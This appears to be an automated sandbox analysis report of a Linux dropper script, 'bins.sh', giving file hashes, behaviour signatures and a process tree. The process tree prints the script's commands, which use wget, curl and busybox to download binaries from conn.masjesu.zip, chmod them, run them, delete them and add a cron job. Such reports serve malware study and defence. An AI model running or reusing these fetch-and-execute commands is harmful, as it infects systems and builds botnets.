Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 21:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    41b94196f704ad7c3697022b3e4ea893

  • SHA1

    4051a27e6c6dd7dccb725ab92e8c7dea796c72e3

  • SHA256

    ee6db48d4a61adc6012c6afd4d9f710bd063ce9ce5843007de2d905d9ded473b

  • SHA512

    46596bb551d352dd6c2c1526b28b6b8f5ed92639fdfedbc4129ea2c1b9c5e669f6b826a6bf4ec8a5c70115cc47a49a59585fe583f5b17ced0d102e5cd6ebdacd

  • SSDEEP

    192:zDl9wXPD1sL99yFRf6znqFlZiPpl9v99yFRkznqFlNM:zDl9wXr1sMN6znqFlZixl9oWznqFlNM

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1955) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:706
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          ./3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
          • Executes dropped EXE
          PID:739
        • /bin/rm
          rm 3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq
          2⤵
            PID:741
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:790
          • /bin/chmod
            chmod 777 q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • File and Directory Permissions Modification
            PID:791
          • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            ./q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:792
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:794
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:795
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:796
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:797
                • /bin/rm
                  rm q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF
                  2⤵
                    PID:799
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                    • System Network Configuration Discovery
                    PID:802
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                    • System Network Configuration Discovery
                    PID:803
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:804
                  • /bin/chmod
                    chmod 777 GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                    • File and Directory Permissions Modification
                    PID:885
                  • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    ./GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                    • Executes dropped EXE
                    PID:886
                  • /bin/rm
                    rm GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re
                    2⤵
                      PID:888
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/E2wNZ7yKREMYc1cnARbkEc0CzhdNuWIlHc
                      2⤵
                      • System Network Configuration Discovery
                      PID:889

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/3VGb0gvwOKP3FgPpnbM0qZLe9IQE2UGPhq

                    Filesize

                    141KB

                    MD5

                    3ca8decdb1e52c423c521bfff02ac200

                    SHA1

                    8621ecd6807109b8541912ad9e134f6fb49bfd48

                    SHA256

                    dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                    SHA512

                    b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                  • /tmp/GTzGbuekv82AYjNujuq9hoRr8lG7vB39Re

                    Filesize

                    111KB

                    MD5

                    701e7a55a4f3650f5feee92a9860e5fc

                    SHA1

                    6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                    SHA256

                    ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                    SHA512

                    7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                  • /tmp/q8L7Nf4v4nWCeQdj5uFk6ooIuCHu2YZ0fF

                    Filesize

                    151KB

                    MD5

                    6c583043d91c55aa470c08c87058e917

                    SHA1

                    abf65a5b9bba69980278ad09356e53de8bb89439

                    SHA256

                    2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                    SHA512

                    82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                  • /var/spool/cron/crontabs/tmp.nz4tmc

                    Filesize

                    210B

                    MD5

                    9b1506f69f3f8a62871abaed1a9baeca

                    SHA1

                    8dbb7c3ef7cf22055d1c34635e3a555ea06eeb18

                    SHA256

                    416e30edd15dd7797c6fa34827a07132889ee900cd93a228a8f62d0cd006b162

                    SHA512

                    3f81041622b53bf12a261598ec87e499a76e1800515488b0a834e6bd4736972b6d7d73073c79314d22513fc7ecaee40a80d49e1bdd91762775713458db1fd04e